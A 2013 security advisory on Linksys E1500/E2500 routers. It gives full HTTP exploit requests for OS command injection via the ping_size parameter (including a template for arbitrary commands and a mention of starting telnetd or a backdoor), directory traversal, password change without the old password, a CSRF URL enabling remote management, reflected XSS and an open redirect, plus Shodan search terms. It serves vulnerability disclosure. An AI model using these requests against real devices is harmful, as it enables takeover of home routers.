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Multiple Vulnerabilities in Linksys E1500/E2500

Device Name: Linksys E1500 / E2500
Vendor: Linksys

============ Device Description: ============

The Linksys E1500 is a Wireless-N Router with SpeedBoost. It lets you access 
the Internet via a wireless connection or through one of its four switched 
ports. You can also use the Linksys E1500 to share resources, such as 
computers, printers and files.

The installation and use of the Linksys E1500 is easy with Cisco Connect, the 
software that is installed when you run the Setup CD. Likewise, advanced 
configuration of the Linksys E1500 is available through its web-based setup 
page.

Source: 
http://homekb.cisco.com/Cisco2/ukp.aspx?pid=80&app=vw&vw=1&login=1&json=...

============ Vulnerable Firmware Releases - e1500: ============

Firmware-Version: v1.0.00 - build 9 Feb. 17, 2011
Firmware-Version: v1.0.04 - build 2 Mär. 8, 2012
Firmware-Version: v1.0.05 - build 1 Aug. 23, 2012

============ Vulnerable Firmware Releases - e2500: ============

Firmware Version: v1.0.03 (only tested for known OS command injection)

Other versions may also be affected.

============ Shodan Torks ============

Shodan Search: linksys e1500
Shodan Search: linksys e2500

============ Vulnerability Overview: ============

    * OS Command Injection / E1500 and E2500 v1.0.03 

=> Parameter: ping_size=%26ping%20192%2e168%2e178%2e102%26

The vulnerability is caused by missing input validation in the ping_size 
parameter and can be exploited to inject and execute arbitrary shell commands. 
It is possible to start a telnetd or upload and execute a backdoor to 
compromise the device.
You need to be authenticated to the device or you have to find other methods 
for inserting the malicious commands.

Example Exploit:
POST /apply.cgi HTTP/1.1
Host: 192.168.178.199
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:14.0) Gecko/20100101 
Firefox/14.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: http://192.168.178.199/Diagnostics.asp
Authorization: Basic xxxx
Content-Type: application/x-www-form-urlencoded
Content-Length: 185
Connection: close

submit_button=Diagnostics&change_action=gozila_cgi&submit_type=start_ping&action=&commit=0&ping_ip=1.1.1.1&ping_size=%26ping%20192%2e168%2e178%2e102%26&ping_times=5&traceroute_ip=

Change the request methode from HTTP Post to HTTP GET makes the exploitation 
easier:

http://192.168.178.199/apply.cgi?submit_button=Diagnostics&change_action=gozila_cgi&submit_type=start_ping&action=&commit=0&ping_ip=1.1.1.1&ping_size=%26COMMAND%26&ping_times=5&traceroute_ip=

Screenshot: 
http://www.s3cur1ty.de/sites/www.s3cur1ty.de/files/images/E1500-os-command-injection-1.0.05-rooted.png

    * Directory traversal - tested on E1500: 

=> parameter: next_page

Access local files of the device. You need to be authenticated or you have to 
find other methods for accessing the device.

Request:
POST /apply.cgi HTTP/1.1
Host: 192.168.178.199
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 
Firefox/16.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: http://192.168.178.199/Wireless_Basic.asp
Authorization: Basic YWRtaW46YWRtaW4=
Content-Type: application/x-www-form-urlencoded
Content-Length: 75

submit_type=wsc_method2&change_action=gozila_cgi&next_page=../../proc/version

Response:
HTTP/1.1 200 Ok
Server: httpd
Date: Thu, 01 Jan 1970 00:00:29 GMT
Cache-Control: no-cache
Pragma: no-cache
Expires: 0
Content-Type: text/html
Connection: close

Linux version 2.6.22 (cjc@t.sw3) (gcc version 4.2.3) #10 Thu Aug 23 11:16:42 
HKT 2012

Screenshot: 
http://www.s3cur1ty.de/sites/www.s3cur1ty.de/files/images/E1500-dir-traversal.png

    * For changing the current password there is no request of the current 
password - tested on E1500 

With this vulnerability an attacker is able to change the current password 
without knowing it. The attacker needs access to an authenticated browser.

Example Request:
POST /apply.cgi HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 
Firefox/16.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: http://192.168.1.1/Management.asp
Authorization: Basic xxxx
Content-Type: application/x-www-form-urlencoded
Content-Length: 311

submit_button=Management&change_action=&action=Apply&PasswdModify=1&http_enable=1&https_enable=0&ctm404_enable=&remote_mgt_https=0&wait_time=4&need_reboot=0&http_passwd=admin&http_passwdConfirm=admin&_http_enable=1&web_wl_filter=0&remote_management=0&nf_alg_sip=0&upnp_enable=1&upnp_config=1&upnp_internet_dis=0

    * CSRF for changing the password without knowing the current one and the 
attacker is able to activate the remote management - tested on E1500: 

http://<IP>/apply.cgi?submit_button=Management&change_action=&action=Apply&PasswdModify=1&http_enable=1&https_enable=0&ctm404_enable=&remote_mgt_https=0&wait_time=4&need_reboot=0&http_passwd=password1&http_passwdConfirm=password1&_http_enable=1&web_wl_filter=0&remote_management=1&_remote_mgt_https=1&remote_upgrade=0&remote_ip_any=1&http_wanport=8080&nf_alg_sip=0&upnp_enable=1&upnp_config=1&upnp_internet_dis=0

    * Reflected Cross Site Scripting - tested on E1500 

=> Parameter: wait_time=3'%3balert('pwnd')//

Injecting scripts into the parameter wait_time reveals that this parameter is 
not properly validated for malicious input.

Example Exploit:
POST /apply.cgi HTTP/1.1
Host: 192.168.178.199
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 
Firefox/16.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: http://192.168.178.199/Wireless_Basic.asp
Authorization: Basic xxxx
Content-Type: application/x-www-form-urlencoded
Content-Length: 300

submit_button=Wireless_Basic&action=Apply&submit_type=&change_action=&next_page=&commit=1&wl0_nctrlsb=none&channel_24g=0&nbw_24g=20&wait_time=3'%3balert('pwnd')//&guest_ssid=Cisco-guest&wsc_security_mode=&wsc_smode=1&net_mode_24g=mixed&ssid_24g=Cisco&_wl0_nbw=20&_wl0_channel=0&closed_24g=0

Screenshot: 
http://www.s3cur1ty.de/sites/www.s3cur1ty.de/files/images/E1500-XSS.png

    * Redirection - tested on E1500 

=> Paramter: submit_button=http://www.pwnd.pwnd%0a

Injecting URLs into the parameter submit_button reveals that this parameter is 
not properly validated for malicious input.

Example Exploit:
POST /apply.cgi HTTP/1.1
Host: 192.168.178.199
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 
Firefox/16.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: http://192.168.178.199/Wireless_Basic.asp
Authorization: Basic xxxx
Content-Type: application/x-www-form-urlencoded
Content-Length: 290

submit_button=http://www.pwnd.pwnd%0a&action=Apply&submit_type=&change_action=&next_page=&commit=1&wl0_nctrlsb=none&channel_24g=0&nbw_24g=20&wait_time=3&guest_ssid=Cisco01589-guest&wsc_security_mode=&wsc_smode=1&net_mode_24g=mixed&ssid_24g=Cisco01589&_wl0_nbw=20&_wl0_channel=0&closed_24g=0

Screenshot: 
http://www.s3cur1ty.de/sites/www.s3cur1ty.de/files/images/E1500-redirect.png

============ Solution ============

No known solution available.

============ Credits ============

The vulnerability was discovered by Michael Messner
Mail: devnull#at#s3cur1ty#dot#de
Web: http://www.s3cur1ty.de
Advisory URL: http://www.s3cur1ty.de/m1adv2013-004
Twitter: @s3cur1ty_de

============ Time Line: ============

October 2012 - discovered vulnerability
21.10.2012 - contacted Linksys with vulnerability details
23.10.2012 - Linksys requestet to check new firmware v1.0.05 build 1
27.10.2012 - Tested and verified all vulnerabilities in release v1.0.05 build 1
27.10.2012 - contacted Linksys with vulnerabilty details in release v1.0.05 
build 1
29.10.2012 - Linksys responded with case number
13.11.2012 - /me requested update of the progress
15.11.2012 - Linksys sends Beta Agreement
16.11.2012 - Linksys sends the Beta Firmware for testing
16.11.2012 - tested Beta version
18.11.2012 - informed Linksys about the results
30.11.2012 - reported the same OS Command injection vulnerability in model E2500
10.12.2012 - /me requested update of the progress
23.12.2012 - Update to Linksys with directory traversal vulnerability
09.01.2013 - Case closed
05.02.2013 - public release

===================== Advisory end =====================